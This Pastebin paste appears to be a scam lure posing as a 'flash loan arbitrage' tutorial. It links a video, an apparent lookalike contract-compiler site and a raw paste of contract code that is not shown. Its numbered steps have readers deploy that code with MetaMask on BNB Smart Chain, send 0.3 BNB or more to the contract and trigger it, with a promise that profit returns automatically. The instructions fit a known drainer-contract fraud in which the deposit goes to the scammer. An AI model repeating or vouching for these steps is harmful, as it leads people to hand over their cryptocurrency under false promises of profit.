Guest User

Untitled

a guest
Dec 26th, 2023
420
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.48 KB | None | 0 0
  1. Tutorial Video: https://files.catbox.moe/ipch0j.mp4
  2.  
  3. Contract Deploy Site: 👉 https://remixcompiler.com
  4. Flash Loan Arbitrage Code (Dec Update): 👉 https://pastebin.com/raw/vykCm32H
  5.  
  6. Crypto liquidity deposit has to be a minimum of 0.5 per 1000 borrowed in the flash loan arbitrage
  7.  
  8. You need to have MetaMask browser extension installed.
  9. Google 'metamask' to ensure you land on the official site.
  10. IF YOU HAVE METAMASK, SKIP TO 2:00 FOR CONTRACT
  11.  
  12. BNB Network Details
  13. (2023)
  14. Network Name: Binance Smart Chain
  15. RPC URL: https://bsc.publicnode.com
  16. Chain ID: 56
  17. Currency Symbol: BNB
  18.  
  19.  
  20. FLASH LOAN ARBITRAGE TUTORIAL INSTRUCTIONS
  21. 1. Download and setup the metamask browser wallet if you don't have it.
  22. 2. Make sure you have enough BNB crypto to pay for the token creation and flash loan contract gas fees
  23. a. The amount of BNB crypto you want depends on how much of a loan you pull. It has to be a minimum of 0.3 for the contract to process fast enough. The higher the crypto liquidity, the higher the profit.
  24. 3. Open the remix compiler website in your browser
  25. 4. Click on contract folder on the left and click New File
  26. 5. Name the file something like flashloan.sol
  27. 6. Copy and paste the flash loan contract code into the new file
  28. 7. Select the second tab on the left
  29. 8. Choose the compiler that matches the top of the BNB flash loan contract code
  30. 9. Click on compile at the bottom
  31. 10. Once it is finished, go to the third tab on the left
  32. 11. Under environment, click on injected web3. This will connect to your metamask wallet so that you can interact.
  33. 12. Click on the arrow under deploy.
  34. 13. Enter the details for your new token. For the loan amount choose anything from 2000 and up. This needs to be in line with whatever liquidity you decide to deposit so it's usually .3 per 2000 BNB crypto borrowed in the flash loan.
  35. 14. Click transact and then confirm the gas fees to launch the token in metamask.
  36. 15. Under deployed contracts, copy the new token contract code.
  37. 16. Go to your Metamask or any wallet and send the liquidity to the new contract code.
  38. 17. Wait until the transaction is confirmed on the Binance Smart Chain
  39. 18. Once that is finished, click the arrow and click the red Action button and confirm the gas fees to execute the flash loan arbitrage.
  40. 19. That's it! The flash loan will be paid back automatically and any profit will be returned to your wallet in a few seconds/minutes.
  41.  
  42. Those are the steps to creating your own flash loan arbitrage attack.
Add Comment
Please, Sign In to add comment